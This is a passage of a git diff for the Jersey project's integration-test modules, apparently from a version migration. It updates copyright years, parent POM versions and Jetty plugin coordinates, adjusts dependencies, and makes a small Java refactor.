 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2776</artifactId>
@@ -73,8 +73,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2794/pom.xml b/tests/integration/jersey-2794/pom.xml
index f35e413..c519c37 100644
--- a/tests/integration/jersey-2794/pom.xml
+++ b/tests/integration/jersey-2794/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2794</artifactId>
@@ -63,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java b/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java
index 80eca2d..ce9ccdc 100644
--- a/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java
+++ b/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,6 @@
 import java.nio.file.FileVisitResult;
 import java.nio.file.Files;
 import java.nio.file.Path;
-import java.nio.file.Paths;
 import java.nio.file.SimpleFileVisitor;
 import java.nio.file.attribute.BasicFileAttributes;
 import java.util.concurrent.atomic.AtomicInteger;
@@ -104,7 +103,7 @@
 
     private int matchingTempFiles(final String tempDir) throws IOException {
         AtomicInteger count = new AtomicInteger(0);
-        Files.walkFileTree(Paths.get(tempDir), new SimpleFileVisitor<Path>() {
+        Files.walkFileTree(Path.of(tempDir), new SimpleFileVisitor<Path>() {
             @Override
             public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
                 if (file.getFileName().startsWith("MIME") && file.getFileName().endsWith("tmp")) {
diff --git a/tests/integration/jersey-2846/pom.xml b/tests/integration/jersey-2846/pom.xml
index 58df897..d07ca08 100644
--- a/tests/integration/jersey-2846/pom.xml
+++ b/tests/integration/jersey-2846/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2846</artifactId>
@@ -63,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java b/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java
index 4286aef..6b37da0 100644
--- a/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java
+++ b/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,6 @@
 import java.nio.file.FileVisitResult;
 import java.nio.file.Files;
 import java.nio.file.Path;
-import java.nio.file.Paths;
 import java.nio.file.SimpleFileVisitor;
 import java.nio.file.attribute.BasicFileAttributes;
 import java.util.Arrays;
@@ -124,7 +123,7 @@
 
     private int matchingTempFiles(final String tempDir) throws IOException {
         AtomicInteger count = new AtomicInteger(0);
-        Files.walkFileTree(Paths.get(tempDir), new SimpleFileVisitor<Path>() {
+        Files.walkFileTree(Path.of(tempDir), new SimpleFileVisitor<Path>() {
             @Override
             public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
                 Path name = file.getFileName();
diff --git a/tests/integration/jersey-2878/pom.xml b/tests/integration/jersey-2878/pom.xml
index 9811834..b683e2b 100644
--- a/tests/integration/jersey-2878/pom.xml
+++ b/tests/integration/jersey-2878/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2878</artifactId>
@@ -64,8 +64,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2892/pom.xml b/tests/integration/jersey-2892/pom.xml
index 5137972..11770ed 100644
--- a/tests/integration/jersey-2892/pom.xml
+++ b/tests/integration/jersey-2892/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2892</artifactId>
@@ -70,8 +70,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-3662/pom.xml b/tests/integration/jersey-3662/pom.xml
index 8b4e3d7..9dc64ca 100644
--- a/tests/integration/jersey-3662/pom.xml
+++ b/tests/integration/jersey-3662/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-3670/pom.xml b/tests/integration/jersey-3670/pom.xml
index 47891e9..1956955 100644
--- a/tests/integration/jersey-3670/pom.xml
+++ b/tests/integration/jersey-3670/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3670</artifactId>
diff --git a/tests/integration/jersey-3796/pom.xml b/tests/integration/jersey-3796/pom.xml
index 009c29e..6999d32 100644
--- a/tests/integration/jersey-3796/pom.xml
+++ b/tests/integration/jersey-3796/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2018, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2018, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3796</artifactId>
@@ -47,7 +47,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -76,8 +75,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-3992/pom.xml b/tests/integration/jersey-3992/pom.xml
index 3480a73..0f68dba 100644
--- a/tests/integration/jersey-3992/pom.xml
+++ b/tests/integration/jersey-3992/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
     Copyright (c) 2018 Payara Foundation and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3992</artifactId>
diff --git a/tests/integration/jersey-4003/pom.xml b/tests/integration/jersey-4003/pom.xml
index 732e332..647be9d 100644
--- a/tests/integration/jersey-4003/pom.xml
+++ b/tests/integration/jersey-4003/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4099/pom.xml b/tests/integration/jersey-4099/pom.xml
index 2d1eb20..5ff4933 100644
--- a/tests/integration/jersey-4099/pom.xml
+++ b/tests/integration/jersey-4099/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
     Copyright (c) 2019 Christian Kaltepoth. All rights reserved.
 
     This program and the accompanying materials are made available under the
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-4099</artifactId>
@@ -60,6 +60,18 @@
         <dependency>
             <groupId>org.jboss.weld.se</groupId>
             <artifactId>weld-se-core</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.jboss.logging</groupId>
+                    <artifactId>jboss-logging</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.logging</groupId>
+            <artifactId>jboss-logging</artifactId>
+            <version>${jboss.logging.version}</version>
+            <scope>provided</scope>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/tests/integration/jersey-4321/pom.xml b/tests/integration/jersey-4321/pom.xml
index b991dad..5b7fd16 100644
--- a/tests/integration/jersey-4321/pom.xml
+++ b/tests/integration/jersey-4321/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
     Copyright (c) 2019 Christian Kaltepoth. All rights reserved.
 
     This program and the accompanying materials are made available under the
@@ -24,7 +24,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4507/pom.xml b/tests/integration/jersey-4507/pom.xml
index dc20389..b0f3676 100644
--- a/tests/integration/jersey-4507/pom.xml
+++ b/tests/integration/jersey-4507/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4542/pom.xml b/tests/integration/jersey-4542/pom.xml
index d106b98..f938177 100644
--- a/tests/integration/jersey-4542/pom.xml
+++ b/tests/integration/jersey-4542/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml b/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
index d773c46..d6b4b48 100644
--- a/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
+++ b/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,4 +17,9 @@
 
 -->
 
-<beans/>
\ No newline at end of file
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
+</beans>
\ No newline at end of file
diff --git a/tests/integration/jersey-4697/pom.xml b/tests/integration/jersey-4697/pom.xml
index 7672011..881b39a 100644
--- a/tests/integration/jersey-4697/pom.xml
+++ b/tests/integration/jersey-4697/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4722/pom.xml b/tests/integration/jersey-4722/pom.xml
index f5b7834..217699b 100644
--- a/tests/integration/jersey-4722/pom.xml
+++ b/tests/integration/jersey-4722/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -39,13 +39,11 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
 
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
             <exclusions>
                 <exclusion>
                     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/tests/integration/jersey-4949/pom.xml b/tests/integration/jersey-4949/pom.xml
index d36f702..1a9f0cb 100644
--- a/tests/integration/jersey-4949/pom.xml
+++ b/tests/integration/jersey-4949/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-4949</artifactId>
@@ -60,8 +60,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <scan>10</scan>
                     <webApp>
diff --git a/tests/integration/jersey-5087/pom.xml b/tests/integration/jersey-5087/pom.xml
index 139028a..373aa19 100644
--- a/tests/integration/jersey-5087/pom.xml
+++ b/tests/integration/jersey-5087/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml
index 9152e17..1d93128 100644
--- a/tests/integration/jersey-780/pom.xml
+++ b/tests/integration/jersey-780/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-780</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml
index 853a70a..281e36c 100644
--- a/tests/integration/microprofile/config/helidon/pom.xml
+++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-config-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -71,8 +71,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/microprofile/config/pom.xml b/tests/integration/microprofile/config/pom.xml
index 7863a8a..526419d 100644
--- a/tests/integration/microprofile/config/pom.xml
+++ b/tests/integration/microprofile/config/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/microprofile/config/webapp/pom.xml b/tests/integration/microprofile/config/webapp/pom.xml
index d7e961f..c162af8 100644
--- a/tests/integration/microprofile/config/webapp/pom.xml
+++ b/tests/integration/microprofile/config/webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-config-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -57,8 +57,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/microprofile/pom.xml b/tests/integration/microprofile/pom.xml
index 07a66be..97a819f 100644
--- a/tests/integration/microprofile/pom.xml
+++ b/tests/integration/microprofile/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
@@ -34,6 +34,7 @@
         <module>config</module>
         <module>rest-client</module>
         <module>rest-client-tck</module>
+        <module>rest-client-tck3</module>
     </modules>
 
     <build>
diff --git a/tests/integration/microprofile/rest-client-tck/pom.xml b/tests/integration/microprofile/rest-client-tck/pom.xml
index 13e553c..62c570e 100644
--- a/tests/integration/microprofile/rest-client-tck/pom.xml
+++ b/tests/integration/microprofile/rest-client-tck/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -35,6 +35,24 @@
             <artifactId>jersey-mp-rest-client</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.eclipse.microprofile.rest.client</groupId>
+                    <artifactId>microprofile-rest-client-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.microprofile.rest.client</groupId>
+            <artifactId>microprofile-rest-client-api</artifactId>
+            <version>${microprofile.rest.client.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.microprofile.rest.client</groupId>
+            <artifactId>microprofile-rest-client-tck</artifactId>
+            <version>${microprofile.rest.client.version}</version>
+            <scope>test</scope>
         </dependency>
         <!-- Overrides CDI from parent pom -->
         <dependency>
@@ -50,11 +68,10 @@
             <artifactId>weld-se-core</artifactId>
             <scope>test</scope>
         </dependency>
-        <!--<dependency>
-            <groupId>javax.servlet</groupId>
-            <artifactId>javax.servlet-api</artifactId>
-            <version>4.0.1</version>
-        </dependency>-->
+        <dependency>
+            <groupId>jakarta.servlet</groupId>
+            <artifactId>jakarta.servlet-api</artifactId>
+        </dependency>
         <dependency>
